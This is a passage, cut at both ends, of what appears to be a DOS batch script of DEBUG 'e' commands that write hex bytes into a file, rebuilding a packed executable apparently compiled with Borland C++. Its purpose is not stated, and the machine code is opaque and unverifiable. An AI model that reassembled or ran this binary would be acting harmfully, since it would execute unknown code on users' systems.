40 2A 0A 4A 09 4A 1A 75 37 B8>>2 echo e 03B0 54 41 01 58 BB DC 3A 72 2A B4 67 55 82 E2 23 0A>>2 echo e 03C0 20 B4 48 BB 01 89 92 13 17 40 A3 E2 48 D2 94 5B>>2 echo e 03D0 49 0D 0A 2A 00 0A 55 17 73 81 34 01 B4 09 14 00>>2 echo e 03E0 7D 16 4D 04 0E 4F 1A 0A C0 74 0C B8 40 05 60 00>>2 echo e 03F0 28 BB 70 00 26 C6 07 01 33 ED 23 01 7C BE 6E 1E>>2 echo e 0400 7F E8 A9 00 FF 36 3F 25 01 1A 04 3D 04 3B 1A E8>>2 echo e 0410 9A 02 50 6C D8 E8 4B 03 21 56 57 BE 7A 00 A0 23>>2 echo e 0420 86 00 5F 5E C3 C3 8B EC B4 4C 8A 46 02 00 40 61>>2 echo e 0430 B9 0E 00 BA FF 19 E9 D5 00 1E B8 00 35 95 00 0F>>2 echo e 0440 E4 2B 73 2D 6C A9 1A B8 04 0D 2F 0D 31 6C A9 0D>>2 echo e 0450 05 0D 33 0D 35 6C A9 0D 06 0D 37 0D 39 00 92 0D>>2 echo e 0460 00 25 8C CA 8E DA BA 78 4A 1F C3 44 65 43 25 C5>>2 echo e 0470 16 41 0C 49 A7 0B 04 0B 2F 0B 05 74 4A 0B 33 0B>>2 echo e 0480 06 0B 13 05 37 0B C3 81 FE B3 74 04 32 00 00 E4>>2 echo e 0490 EB 02 B4 FF 8B D7 8B DE 3B DF 74 23 26 80 3F 6C>>2 echo e 04A0 00 FF 74 18 1A 06 26 3A 67 01 EB 04 26 A5 14 38>>2 echo e 04B0 06 77 0C 8A 06 8B 00 C8 D3 83 C3 06 EB D9 3B D7>>2 echo e 04C0 74 1B 8B DA 29 09 80 FE FF 06 74 07 26 FF 5F 02>>2 echo e 04D0 07 EB B1 92 B0 07 57 07 AA C3 B4 40 80 A2 62 C3>>2 echo e 04E0 B9 1E D8 0D 1A 14 80 FB 1E FB E8 EA FF B8 03 00>>2 echo e 04F0 50 E8 50 4A 05 19 01 55 FB 81 EC 06 40 01 40 56>>2 echo e 0500 57 8B 46 04 05 25 89 46 FC 33 C0 14 00 50 B8 01>>2 echo e 0510 20 FF 76 FC E8 41 0E 83 C4 06 AA 00 B8 08 0D 1D>>2 echo e 0520 08 8B 56 06 81 F2 00 B2 C2 B9 35 3F AE 50 52 E8>>2 echo e 0530 36 03 19 A4 3A 43 8B 07 02 DB 29 05 2D 8D 10 0D>>2 echo e 0540 04 40 FE EB 57 A0 00 33 F6 8D 86 FA BF 0B FA EB>>2 echo e 0550 1E E8 79 03 28 00 B1 10 D3 E0 2B 71 03 5A 0B D0>>2 echo e 0560 8B C2 99 A0 14 8B 5E FA 31 07 31 9D 83 1E 04 50>>2 echo e 0570 60 46 8B C7 D1 E8 02 40 3B C6 77 D7 16 24 73 0F>>2 echo e 0580 F7 D8 99 52 4D FE 0A 73 E8 F1 21 C4 08 57 47 33>>2 echo e 0590 F1 0F 61 15 89 FC 3F 50 9B C0 12 47 82 8B F8 0B>>2 echo e 05A0 C0 75 91 64 4B BA 16 00 16 5E 16 93 2C 04 09 A2>>2 echo e 05B0 0D 9A 6C F0 4B 04 8A 47 15 98 CF 72 15 40 02 06>>2 echo e 05C0 5F 5E 8B E5 5D C3 F7 83 EC 04 56 8B 28 20 76 04>>2 echo e 05D0 83 C6 28 DE FF 37 E8 D9 0C 11 80 32 89 56 FE 02>>2 echo e 05E0 EB 63 B8 27 42 61 32 B8 7A 1E 36 34 E8 F3 02 14>>2 echo e 05F0 35 8B D0 0B D2 75 3A B8 98 12 B8 8A 33 62 1A CD>>2 echo e 0600 EF 0F 67 27 A6 55 26 E8 B9 FE 9F 72 94 B6 1A D5>>2 echo e 0610 1A 02 14 EE 9D 90 82 38 74 C8 EB 13 64 49 48 7A>>2 echo e 0620 13 10 3F 78 25 73 83 B0 3F 78 83 3F 00 75 93 37>>2 echo e 0630 00 91 84 56 06 83 00 00 7E 04 03 7C 1C BF 8E 1A>>2 echo e 0640 1E 07 8B DA 8B 77 02 B9 00 90 03 00 33 C0 F3 A6>>2 echo e 0650 74 05 1B C0 1D FF FF 48 13 EF 0C B8 91 43 6D 68>>2 echo e 0660 EB 07 C8 AA 52 E8 35 FF 09 22 D6 13 C8 D4 3E DA>>2 echo e 0670 1A 20 75 05 F1 A2 08 74 8B 1E 0C D1 E3 00 55 1D>>2 echo e 0680 89 87 A6 1E FF 06 0D B5 0B 26 24 68 F6 08 0B 40>>2 echo e 0690 9D F6 75 1E EB 0E FF 0E 16 D4 2C 27 FF 97 24 3D>>2 echo e 06A0 8F 00 A0 EB E8 DD FC FF 16 DE 1B E8 3F FD E8 E6>>2 echo e 06B0 FC 94 54 8F 06 13 13 2E 08 94 02 14 E0 1B 04 E2>>2 echo e 06C0 04 76 04 E8 CF 8A C1 FC 59 70 C2 06 3D A0 C9 2E>>2 echo e 06D0 50 13 A6 FF 1E C8 81 6B 13 29 2F 12 94 12 26 CC>>2 echo e 06E0 4C 07 E8 85 FF C3 0B CD AD 0C 79 FF 88 04 00 00>>2 echo e 06F0 5A 7C 15 83 FE 58 7E 03 BE 57 00 89 36 50 1D 00>>2 echo e 0700 14 8A 84 52 1D 98 8B F0 EB 0D F7 DE 17 23 A8 2A>>2 echo e 0710 7F E9 C7 06 14 F7 1A 54 72 4B 1A B8 07 74 02 00>>2 echo e 0720 03 2F 39 56 E8 BC FF 8B C6 12 B8 02 C0 00 44 ED>>2 echo e 0730 CD 21 92 25 80 00 05 40 DD 22 56 57 06 8B 7E 0A>>2 echo e 0740 00 00 47 5E 08 83 FB 24 77 58 80 FB 02 00 90 72>>2 echo e 0750 53 8B 46 0C 8B 4E 0E 0B C9 7D 11 80 00 00 DA 74>>2 echo e 0760 0B C6 05 2D 47 F7 D9 F7 D8 83 D9 00 8D 76 00 05>>2 echo e 0770 DE E3 0F 91 2B D2 F7 F3 91 03 88 14 46 98 19 E3>>2 echo e 0780 09 EB F1 0E 0B 80 02 77 F5 8D 4E DE 29 03 CE FC>>2 echo e 0790 4E 00 00 8A 04 2C 0A 73 04 04 3A EB 03 02 46 04>>2 echo e 07A0 AA E2 EF 14 8B B0 00 AA 64 46 0A 5C 40 58 C2 0C>>2 echo e 07B0 14 FF 76 06 80 AA 04 B8 0A F1 1F 52 94 03 61 F3>>2 echo e 07C0 6A FF 1D 04 19 08 1D 91 54 01 E7 85 95 E1 1F 74>>2 echo e 07D0 09 D1 80 9D D0 D1 D2 15 00 00 E2 F7 B6 A0 A0 C4>>2 echo e 07E0 D1 E3 81 A7 26 F3 FD B4 42 8A 32 33 54 10 29 2F>>2 echo e 07F0 0C 85 04 02 EB 05 46 C8 FE 99 02 40 29 56 96 92>>2 echo e 0800 85 C0 74 02 F7 E3 E3 05 41 61 AA E6 03 C1 96 0A>>2 echo e 0810 03 D6 5E 17 14 40 5C C7 06 AE 1D 50 A3 8A A2 AC>>2 echo e 0820 1D 28 8B 0E 0B 8B 1E 00 00 0A BA 5A 01 B8 35 4E>>2 echo e 0830 E8 C7 FF 05 01 00 83 D2 54 2A 00 89 16 17 20 A1>>2 echo e 0840 06 F8 29 99 25 FF 7F 77 F7 87 77 A0 A0 02 00 74>>2 echo e 0850 06 B8 05 B1 EB 12 B4 3F 2B 36 04 7C 04 7C 4C FE>>2 echo e 0860 A4 57 4C 85 B8 01 57 1C 7E C4 0D 8B 55 50 6A E9>>2 echo e 0870 72 04 F0 A2 14 20 2C FE 5F 21 BA 3E 3B 40 C9 16>>2 echo e 0880 24 1D 73 2B 8B DA 53 C7 53 AA 70 8C 0A 57 00 08>>2 echo e 0890 E3 C6 87 E8 1B FF 8B C2 D3 E0 05 E4 2D 30 B1 10>>2 echo e 08A0 89 87 F2 1B 42 51 0A 2B 72 D5 A0 1A 98 3F 38 FE>>2 echo e 08B0 01 28 59 67 06 81 26 E6 28 40 95 FD B8 00 02 50>>2 echo e 08C0 F7 06 0A 07 74 C5 E0 CD E2 A0 2A 39 B8 3C 29 41>>2 echo e 08D0 4C 67 FB 08 A0 F8 34 AF DF 04 34 F6 34 F6 A9 4B>>2 echo e 08E0 34 02 00 34 F4 34 B3 71 33 34 01 A0 51 88 A1 8D>>2 echo e 08F0 B6 08 42 01 B3 8A C6 E8 2E 8A C2 D4 10 86 59 80>>2 echo e 0900 E0 09 05 04 90 27 14 40 27 AA 09 A0 2E 81 EC 96>>2 echo e 0910 00 56 57 C7 46 EE 8A 54 C6 05 EC 50 05 EA 00 00>>2 echo e 0920 0A EB 46 57 B9 FF FF 32 C0 F2 AE F7 D1 49 5F C3>>2 echo e 0930 00 00 36 88 05 47 FE 4E EC 75 2F 53 51 52 06 8D>>2 echo e 0940 86 6A 4C 0A FF 2B F8 06 50 57 63 08 FF 52 3A 56>>2 echo e 0950 0A A0 05 37 01 41 01 41 01 7E EE 8D BE 1D 07 5A>>2 echo e 0960 59 5B C3 26 24 06 FC 0B 89 7E FC 8B 03 76 C2 C1>>2 echo e 0970 06 AC CB 12 3C 25 74 11 0D 00 51 7F EE E8 AC FF>>2 echo e 0980 EB E9 E9 D5 03 89 A4 04 76 F0 AC 19 E7 2B 33 C9>>2 echo e 0990 89 4E 05 A5 F2 03 FE 88 4E F5 50 F8 4A 01 86 05>>2 echo e 09A0 F6 05 EB 01 AC 32 E4 00 00 8B D0 8B D8 80 EB 20>>2 echo e 09B0 80 FB 60 73 13 8A 9F B9 1D 00 00 83 FB 17 76 03>>2 echo e 09C0 E9 88 03 D1 E3 2E FF A7 01 0D E9 80 C2 7E 03 80>>2 echo e 09D0 FD 00 77 F8 83 3C 01 EB D0 94 98 0B ED 0B 02 EB>>2 echo e 09E0 C5 00 00 0B E2 80 7E F5 2B 74 03 88 56 F5 EB B5>>2 echo e 09F0 83 66 FE 24 98 DF EB 04 1C 20 B5 05 EB A7 28 24>>2 echo e 0A00 1E 4D F7 46 29 00 75 29 14 08 05 05 B5 3D 93 E9>>2 echo e 0A10 33 03 B2 04 36 8B 50 28 05 83 46 04 02 21 02 73>>2 echo e 0A20 12 E4 42 52 79 06 43 50 89 29 0A 95 B5 76 6F FF>>2 echo e 0A30 17 04 75 05 26 D7 0D F6 FE C5 E9 62 0D 73 28 40>>2 echo e 0A40 CA B5 04 FF 0F E9 55 FF 92 2C 30 98 82 2A 35 77>>2 echo e 0A50 19 B5 02 87 2D 3A A8 2A 7C D1 D1 E0 BC 04 02 54>>2 echo e 0A60 6D 03 C2 01 11 5D 3C A5 E8 9B 1C F6 1C 74 B5 02>>2 echo e 0A70 45 82 1C 3E 17 FF 64 10 E9 65 FF 81 22 01 07 00>>2 echo e 0A80 01 AA EF E9 59 FF B7 08 48 00 EB 0A B7 0A 04 10>>2 echo e 0A90 B3 E9 02 DA C6 46 F5 85 72 00 C8 FB 33 D2 05 FA>>2 echo e 0AA0 52 45 A6 EB 10 1E 16 FA 01 9E 40 16 11 99 47 47>>2 echo e 0AB0 89 76 06 42 C9 D5 10 00 74 05 10 15 0F 42 40 18>>2 echo e 0AC0 8D 7E BB AA 0D 18 14 E6 09 83 7E F6 EE 07 24 80>>2 echo e 0AD0 E9 68 FE 6D 04 52 50 57 8A C7 98 50 8A 02 50 41>>2 echo e 0AE0 50 53 E8 A6 FB 16 07 8B 56 14 CC 99 D2 7D E4 F2>>2 echo e 0AF0 00 E9 FD 6A 2C 21 4B 3C BA 40 A5 11 36 FF 37 43>>2 echo e 0B00 43 89 08 59 20 52 76 59 10 59 17 0F 01 05 32 E8>>2 echo e 0B10 9D FD B0 3A AA 08 5A E8 94 90 12 FD 36 C6 05 00>>2 echo e 0B20 8D 00 BC FB 8D 20 01 4E BA 2B F9 87 CF 51 3B D1>>2 echo e 0B30 7F 02 8B D1 E4 3F E9 9F 00 4D A7 50 09 5E 35 98>>2 echo e 0B40 32 E4 36 22 D1 89 05 CA E9 C2 77 95 00 20 65 AF>>2 echo e 0B50 27 3D 09 30 27 1E 07 0B FF EB 0B 36 C4 01 05 0D>>2 echo e 0B60 04 8C C0 0B C7 75 05 13 BF B2 1D 00 45 E8 55 FD>>2 echo e 0B70 3B 4E F6 76 03 8B 05 E9 85 CF 30 00 3D 0F 01 00>>2 echo e 0B80 84 03 B9 06 00 57 51 8D 5E BB 53 52 A8 08 15 23>>2 echo e 0B90 51 40 84 E5 FE A9 00 01 74 09 F1 44 52 49 0A EB>>2 echo e 0BA0 07 06 08 B8 CA CE 26 50 F9 04 8A 76 A2 00 1B 74>>2 echo e 0BB0 18 B2 F8 0B D2 7E 11 E8 00 80 F7 FC 26 80 3D 2D>>2 echo e 0BC0 75 01 49 2B D1 7E 03 89 56 F2 09 82 0E 74 0B 8A>>2 echo e 0BD0 46 F5 50 E0 CA 14 4F 26 88 C3 7E F2 00 7E 0A 06>>2 echo e 0BE0 18 6F FF 4E F2 E8 C5 FC 8B F7 24 34 EE 5E F8 66>>2 echo e 0BF0 15 40 73 3D 06 75 13 8A 66 FB 80 FC 6F 4D 21 CD>>2 echo e 0C00 2E 7F 42 14 2C F2 F0 1B 12 78 0A 01 74 05 05 58>>2 echo e 0C10 75 11 86 80 89 40 4B 4B 83 6E F2 02 7D 1D 00 00>>2 echo e 0C20 03 3A 08 49 92 0C EB 06 14 48 B0 20 E8 4F 4B 3B>>2 echo e 0C30 D9 7F F6 13 61 A0 40 D0 B0 30 E8 6D FC 50 95 83>>2 echo e 0C40 FB E8 67 66 92 00 0A A7 27 2B CA 2B DA 26 8A 04>>2 echo e 0C50 3C 9B 08 3C 0A 00 20 74 08 2B 75 07 26 AC E8 48>>2 echo e 0C60 FC 49 4B 48 48 87 CA E3 07 30 3D FC E2 F9 0B D4>>2 echo e 0C70 23 12 2B D9 18 28 40 7C 03 E8 30 16 F0 0B DB 7E>>2 echo e 0C80 09 8B CB 4A 04 64 1A 23 E9 5A FC 3E F8 42 7C 0B>>2 echo e 0C90 C0 05 7C EB 07 7A 00 38 B8 50 00 2A 46 EC 03 46>>2 echo e 0CA0 EE 26 89 05 08 0A 5F 07 47 47 26 C7 E4 00 E9 21>>2 echo e 0CB0 12 1B E2 F0 FA B0 25 84 00 E8 CE FB EA 75 F8 80>>2 echo e 0CC0 7E EC 0A 25 50 7D 67 C9 FB 07 F8 EA 18 8E 89 DF>>2 echo e 0CD0 EB 03 8B 3A 1C 3C 47 08 00 00 00 69 09 53 09 9E>>2 echo e 0CE0 09 5E 09 CC 09 D9 09 17 0A 1E 0A 00 00 23 0A 87>>2 echo e 0CF0 09 4C 0A 2A 0A 2E 0A 32 0A A6 0A 53 0B C0 86 F6>>2 echo e 0D00 0A 16 0B 95 0C D1 02 79 09 7F 09 CB 29 5A D4 81>>2 echo e 0D10 4D 40 04 02 3B C2 73 07 A3 53 F0 A0 92 EB 09 C7>>2 echo e 0D20 06 4B 1A 4D 5D 5D C3 CF A9 7C 03 06 1C 70 82 08>>2 echo e 0D30 8B C8 28 40 EE 10 81 C1 30 72 0A 3B CC 73 06 87>>2 echo e 0D40 F6 61 17 06 31 78 23 27 A4 FF 59 3D 51 89 9D E8>>2 echo e 0D50 B7 0F 10 BA 1A 1E 82 BA AF BA 1F 1E B9 DE 32 50>>2 echo e 0D60 63 B9 27 00 BA 24 1E 85 88 0D 0A E9 91 F5 00 A0>>2 echo e 0D70 CB F4 8B 5C 06 83 EB 04 72 0E 3B 1E 4E 1E 50 8C>>2 echo e 0D80 E0 E8 42 00 31 E8 03 82 12 6E 39 1E 4C 11 23 11>>2 echo e 0D90 50 DC F6 04 01 74 06 89 36 90 A0 1F EB 20 3B 36>>2 echo e 0DA0 14 0D 8B DE E8 54 90 59 98 47 02 A3 13 0D 2A 01>>2 echo e 0DB0 C1 A3 16 0C A3 50 1E 53 E8 1D 60 4A FF 5B C3 FF>>2 echo e 0DC0 0F 3B 3C 18 3C 00 05 8B 04 A8 01 75 0F 03 07 89>>2 echo e 0DD0 D2 3F 03 FB 22 25 89 75 4D 60 32 93 02 00 0E 8B>>2 echo e 0DE0 05 1C 74 01 C3 01 40 41 07 8B F7 03 F0 89 5C 1B>>2 echo e 0DF0 DF 8B 7F 06 14 54 51 0E 89 3E 4A A9 42 3C 04 2E>>2 echo e 0E00 03 7C 06 C3 44 A0 5C 1E 00 00 C3 8B 36 40 55 07>>2 echo e 0E10 0B F6 74 10 8B 13 2C A9 52 03 5D 1C 2D 89 28 4A>>2 echo e 0E20 25 C3 89 1E 18 89 5F 0E 5F 6D 42 2A CF 44 06 29>>2 echo e 0E30 00 92 52 05 F1 72 36 25 FE FF 3D 08 00 86 28 73>>2 echo e 0E40 03 2A 3E 91 48 12 00 74 1F 8B 2D 0B DB C2 D3 39>>2 echo e 0E50 28 A0 07 73 1A 8B 34 3B DA 75 F5 E8 66 50 28 F4>>2 echo e 0E60 21 E8 8A 05 1C E8 1C 05 01 00 17 90 13 8B F0 83>>2 echo e 0E70 C6 08 39 37 A0 30 73 E9 E8 6B FF FF A0 C3 05 04>>2 echo e 0E80 B0 1C 12 93 E8 5D 50 08 FE 5B 5B 25 01 4D 09 33>>2 echo e 0E90 D2 48 45 68 4F 0E 58 19 DB 53 49 05 0B 44 0B 3D>>2 echo e 0EA0 2F 74 14 8B 02 05 D8 89 00 04 4E 1E 58 50 28 40>>2 echo e 0EB0 89 07 83 C3 FC C3 C3 5B 3C A7 5B C3 27 1D 27 16>>2 echo e 0EC0 29 74 27 A1 22 89 47 02 04 29 A9 00 58 29 29 73>>2 echo e 0ED0 F3 03 37 8B FE 03 25 10 F8 17 04 1A A8 12 38 90>>2 echo e 0EE0 1D C6 AD 14 01 41 51 43 15 2A 01 FF 5B 3D E7 1F>>2 echo e 0EF0 1E 07 FC 8B F8 90 00 8B 76 FE 8B 0C 20 56 83 E9>>2 echo e 0F00 05 D1 E9 F3 51 28 A5 DD E8 24 65 46 2E 8B 5E EF>>2 echo e 0F10 33 00 06 C2 83 C2 08 3B D1 77 35 8B D1 A8 22 E3>>2 echo e 0F20 75 0F 69 D2 03 C3 29 28 89 72 FD 89 EB 1E 8B FB>>2 echo e 0F30 66 40 00 89 5D 02 2B D0 29 17 88 F2 89 00 94 7C>>2 echo e 0F40 02 42 89 15 8B CB 8B DF E8 37 57 D9 0C AC 94 57>>2 echo e 0F50 28 52 7D 08 3E 0A 08 74 37 40 2D 82 42 32 8B 0F>>2 echo e 0F60 49 8B D0 5B 05 83 E2 01 40 67 FA 08 73 03 BA 08>>2 echo e 0F70 00 3B CA 72 0C 77 15 84 11 33 EB 08 E8 87 A0 28>>2 echo e 0F80 28 E8 4F FF D1 EB 0D 6A 80 22 65 FE EB 06 53 E8>>2 echo e 0F90 90 FD DB 5B 5D 80 00 48 FF 26 66 D2 8F 94 04 06>>2 echo e 0FA0 56 1E 04 58 04 5A 1E 2E 8C 00 10 1E 3A 10 89 36>>2 echo e 0FB0 5C 1E 89 3E 5E 1E FC 8E 3D 00 3E BE 80 00 32 E4>>2 echo e 0FC0 26 AC 40 8C 00 C2 C5 87 D6 93 8B 36 41 1A 46 46>>2 echo e 0FD0 8E 4E 5D 9B 11 01 23 21 43 1A 8B FE B1 7F 00 94>>2 echo e 0FE0 DE E3 6E 80 F1 7F 50 8B C1 D3 40 00 00 F0 8B FC>>2 echo e 0FF0 2B F8 72 5C 8B E7 06 40 01 1F 16 07 51 49 F3 A4>>2 echo e 1000 22 AA 8E DD 87 F2 AA 00 87 D9 89 AE 43 E8 19 00>>2 echo e 1010 77 07 28 A1 72 40 E8 12 07 F9 08 45 66 08 3C 0D>>2 echo e 1020 6A 09 75 E8 91 08 26 EB E4 DB 07 42 AA 81 02 F4>>2 echo e 1030 01 43 86 E0 11 F9 E3 15 AC 00 80 49 2C 22 74 0F>>2 echo e 1040 04 22 3C 5C 75 07 80 3C 22 75 02 02 10 11 0B F6>>2 echo e 1050 C3 E9 5A F2 59 03 CA 2D 81 A3 B1 1E 52 1E 43 03>>2 echo e 1060 DB 20 00 75 EC 2B EB 72 E6 8B E5 89 2E 00 84 54>>2 echo e 1070 1E E3 0E 89 76 00 83 C5 02 36 42 61 40 E0 FA 74>>2 echo e 1080 F0 F4 89 46 00 4B 89 2F 8B E0 8B E0 FF 36 5A 2C>>2 echo e 1090 05 04 F9 A1 3E A3 3B 1A 25 3A A1 33 A3 F9 AC 5A>>2 echo e 10A0 26 56 1E 5C 14 00 05 76 04 C4 C0 99 B9 0A 00 B7>>2 echo e 10B0 00 BF DD 00 14 1A 8A 1C 46 F6 01 01 75 F8 BD 00>>2 echo e 10C0 FD FB 14 64 2B 74 06 05 2D 75 04 45 16 01 50 09>>2 echo e 10D0 39 77 2E 80 EB 30 72 29 F7 E1 00 59 FC 12 D6 74>>2 echo e 10E0 EB EB 12 8B FA 37 80 E2 0F 97 87 D1 F7 E2 92 97>>2 echo e 10F0 16 13 D1 96 80 29 05 29 73 E1 4D 7C 07 F7 DA 88>>2 echo e 1100 B8 02 DA 00 5D EA 50 89 39 8F 02 87 39 4E 08 B4>>2 echo e 1110 43 8A 88 82 46 06 8B 56 A2 72 03 91 91 D9 2D FF>>2 echo e 1120 F3 AC C2 1B B4 3E B7 72 0C 93 8F 2D CC D3 4B E1>>2 echo e 1130 F3 00 80 11 7E 04 0B FF 75 05 E8 CE 00 EB 66 39>>2 echo e 1140 7D 0E C3 40 27 5E 83 3D 00 7C 01 84 9D 45 02 08>>2 echo e 1150 00 75 0A 8B C7 80 61 92 39 45 0A 75 46 3F A8 69>>2 echo e 1160 0E 38 8B 45 08 89 08 A2 00 9D EB 2E 0A 06 03 05>>2 echo e 1170 40 8B F0 9C 10 29 35 50 15 50 8A 45 04 99 20 3D>>2 echo e 1180 09 06 C6 3B 24 0A C6 74 0D 4A 00 02 75 0E 4D 02>>2 echo e 1190 7C 0D 10 EB 9F 4B 1E B4 05 AB 2F 99 06 53 B4 1A>>2 echo e 11A0 B0 4A 03 B4 4E 0D A2 28 AC 9C 59 93 14 5A 1F 09>>2 echo e 11B0 1C 19 51 9D 1F FB 53 E8 7A D2 31 F3 06 33 29 B4>>2 echo e 11C0 4F 9D 18 0C 2D 04 2D 83 EC 02 59 C6 5B FE B5 08>>2 echo e 11D0 00 1E BE E4 1B EB 12 F7 44 02 03 00 74 40 A1 08>>2 echo e 11E0 56 E8 02 FF 59 FF 1A 83 C6 10 44 14 D0 4F 97 E7>>2 echo e 11F0 41 EB 9A 5F 01 A2 43 26 B5 3C 00 7D 29 00 FB 54>>2 echo e 1200 D9 14 42 8B FA EB 0B 8B 04 10 59 99 33 C2 2B C2>>2 echo e 1210 04 F8 02 26 44 40 00 75 2C 8B 4C 0A 24 1D 00 20>>2 echo e 1220 EB 09 49 8B D9 80 3F 0A 75 01 47 8B C2 4A 29 7A>>2 echo e 1230 4C F0 EB 55 D9 41 03 12 F9 DA 65 5F 5A 8C 56 5D>>2 echo e 1240 36 46 39 83 7F 5B 00 24 70 47 83 FF 01 75 10 4F>>2 echo e 1250 7E 05 00 0B 18 7C FF 99 29 46 06 19 56 08 81 64>>2 echo e 1260 90 60 02 5F FE C7 04 BF 44 08 89 44 0A 65 18 EF>>2 echo e 1270 76 06 8A 44 20 0A 5B 33 F3 5A 83 08 B5 FA FF 75>>2 echo e 1280 0A 90 75 5B 77 45 01 A4 F4 27 78 2A 6B 8E 7E F4>>2 echo e 1290 59 74 1A 6A 2E 05 BE 1D 2A A5 B8 0D 69 13 69 01>>2 echo e 12A0 94 34 17 11 1D EB 76 06 15 59 76 FC 76 FE 8B 03>>2 echo e 12B0 0D D1 09 00 0C 22 1A DF D1 76 0D 20 50 D1 E9 FC>>2 echo e 12C0 F3 A5 73 01 A4 FC 47 A8 6A 02 B0 01 21 22 1A 06>>2 echo e 12D0 F7 C1 2E 0A AA 94 B0 02 08 AF 75 13 00 00 0A 9F>>2 echo e 12E0 B1 F0 22 18 0A C1 82 42 B4 3D 7D 1A 0B 10 D8 35>>2 echo e 12F0 06 25 FF B8 0D 00 80 2A 2A DD D1 9D 26 81 41 1D>>2 echo e 1300 74 8B 6E AC 56 F1 6C B8 F3 15 1A 54 4C DA 8D E5>>2 echo e 1310 62 2D 19 DF A4 82 09 7D FF 0C 56 8A 46 CE 05 00>>2 echo e 1320 59 3E 4A 59 5E BB 06 15 28 00 A2 E6 1E 83 D6 7D>>2 echo e 1330 3A FF 05 8B 5D 0A FF 38 88 45 0A 88 07 B8 03 E9>>2 echo e 1340 F5 D0 C2 74 1D 0A 74 0A A4 80 07 0D 74 11 E4 00>>2 echo e 1350 57 E8 09 FD 51 CB D1 0C D8 08 40 82 E9 D7 00 E9>>2 echo e 1360 CF 00 8A 9C 30 90 90 79 90 07 C5 A5 E3 81 8A 22>>2 echo e 1370 06 00 7D 3A 21 C1 45 14 53 0C 74 09 39 D0 FC 39>>2 echo e 1380 CA 10 B7 EC F7 D8 89 6C A0 EA 6E 58 00 6F 86 6F>>2 echo e 1390 9B 32 07 6F 75 78 33 9D 81 21 33 74 6F EB 95 EB>>2 echo e 13A0 6B 51 8C 11 6B D8 0E A2 04 00 08 74 13 2D 3F 3F>>2 echo e 13B0 93 84 C0 29 65 F1 CE 26 83 3E 75 1F 4F 46 C3 5F>>2 echo e 13C0 18 47 B8 60 1E 6D 8C 21 C3 BC 5E 8C 3D 01 18 E6>>2 echo e 13D0 18 77 1D AB 18 E4 52 24 63 86 3F FF 95 B4 17 2E>>2 echo e 13E0 00 A0 80 26 4F E8 CE FE 59 59 00 03 04 14 D1 46>>2 echo e 13F0 06 36 44 94 BB 74 29 EB 1A 07 A4 70 08 FF 46 08>>2 echo e 1400 8A 07 54 A2 5C 2C 2C 55 A0 24 11 E9 55 01 29 FF>>2 echo e 1410 4E C0 59 98 75 DC E9 45 01 9C 0C 24 65 DF 00 1B>>2 echo e 1420 09 98 01 C5 00 10 3B 23 73 4F 05 06 26 AA FB 74>>2 echo e 1430 72 26 C5 14 EF 76 F0 EF F5 4E C0 08 11 86 96 E4>>2 echo e 1440 02 29 47 72 02 8A 52 E0 00 EB 87 E9 DB 57 05 03>>2 echo e 1450 22 09 0F 7C 1B 56 75 0A 28 28 A9 2B 66 89 05 EB>>2 echo e 1460 0C 60 33 C0 4A 60 CB 62 FF 19 82 40 01 E8 57 FD>>2 echo e 1470 31 CD 40 31 40 01 98 05 01 45 0A E9 9A 9D EE 00>>2 echo e 1480 14 82 F4 EF 05 82 62 06 2C 82 73 61 E9 07 FF EB>>2 echo e 1490 5C 00 0E FA 3D EB 2F FF 05 7D 14 C4 38 EB D2 00>>2 echo e 14A0 E5 21 04 88 07 B4 A2 0F 43 71 30 3A 5C FD A0 F8>>2 echo e 14B0 2F 94 CE FE 80 1E 2D C7 EB 19 02 5E 3C 8B 4B 5E>>2 echo e 14C0 25 A9 FE 47 8F 6B F1 51 DE 10 00 28 39 74 0E 75>>2 echo e 14D0 0C 83 7E 08 02 7F 06 81 4E 35 28 7F 3D 9F A4 22>>2 echo e 14E0 B1 FD 64 1E 01 D4 20 81 FE F4 1B 75 08 C7 06 0D>>2 echo e 14F0 98 4A 78 15 62 2A A5 15 0C 15 E4 15 06 2A 06 15>>2 echo e 1500 0D 76 E5 E9 3C B0 0F 21 43 7B 56 E8 95 FB E0 45>>2 echo e 1510 01 A9 04 22 FF 74 08 E8 00 85 D0 F5 59 83 64 02>>2 echo e 1520 F3 C7 44 74 00 8B C6 30 4B C2 89 27 4A 53 70 74>>2 echo e 1530 3E 0B A8 3A C1 9A 46 DE 1B AC 19 00 2C 8C 18 57>>2 echo e 1540 E8 70 F6 59 89 46 06 81 8A 28 77 FF 83 4C 47 8D>>2 echo e 1550 C1 97 6E FF 34 9A 62 34 3A 7C 86 F4 45 08 01 75>>2 echo e 1560 04 1B 08 29 13 76 56 FC CA D6 EB 00 20 0B 2C 61>>2 echo e 1570 3C 19 77 05 04 41 88 44 FF AC 22 D4 09 FE 92 20>>2 echo e 1580 81 EC 88 07 4B 00 7C DD 3B 58 6C 91 A3 12 74 FA>>2 echo e 1590 57 ED 8C 05 4F FE 40 3D 0C 2A 02 00 73 74 D1 0E>>2 echo e 15A0 C7 18 DF 2D F0 A0 B8 0F B8 C8 1F 95 40 EE D4 1B>>2 echo e 15B0 40 75 81 42 0E 5F 50 E8 A8 00 80 7D 5C E9 9C 35>>2 echo e 15C0 8C C8 D9 89 76 FA 50 B1 42 28 4D FF 4E FE AC 00>>2 echo e 15D0 0F FF 46 FA 8A 07 88 46 14 28 FD 3C 0A B3 C6 04>>2 echo e 15E0 0D 46 8A 0B A0 00 88 04 46 8D 86 78 D3 D6 2B D0>>2 echo e 15F0 81 FA 80 20 4D 00 7C 27 2B F0 56 64 5B 4D C2 2D>>2 echo e 1600 8B D0 B4 12 1B 26 2F 58 3D 25 AA 4D 2B 4D 31 8D>>2 echo e 1610 B6 31 60 16 F8 FE 00 75 A9 3B 31 8B 60 A6 C6 0B>>2 echo e 1620 C0 76 21 56 0D 3B 20 5F 92 3B 0E 3B 74 C5 30 AA>>2 echo e 1630 36 03 C2 2B C6 73 08 CF BF 5B C9 33 08 01 A1 4D>>2 echo e 1640 08 1F B4 40 02 1C 93 08 0F 50 A2 8F 64 18 E3 10>>2 echo e 1650 58 1F 37 31 C1 EC 90 57 BF 04 00 70 87 C1 10 03>>2 echo e 1660 C2 C1 05 56 E8 41 F8 59 4F 23 88 BF BC EC E4 04>>2 echo e 1670 97 00 01 42 6F 72 6C 00 05 61 6E 64 20 43 2B 2B>>2 echo e 1680 20 2D 06 6F 70 79 00 BC 72 69 67 68 74 20 31 39>>2 echo e 1690 39 31 20 00 00 1D 49 6E 74 6C 2E 00 44 69 76 69>>2 echo e 16A0 64 65 20 65 72 05 0A 72 17 0D 0A 41 62 6E 07 6D>>2 echo e 16B0 61 14 50 6C 20 70 0F 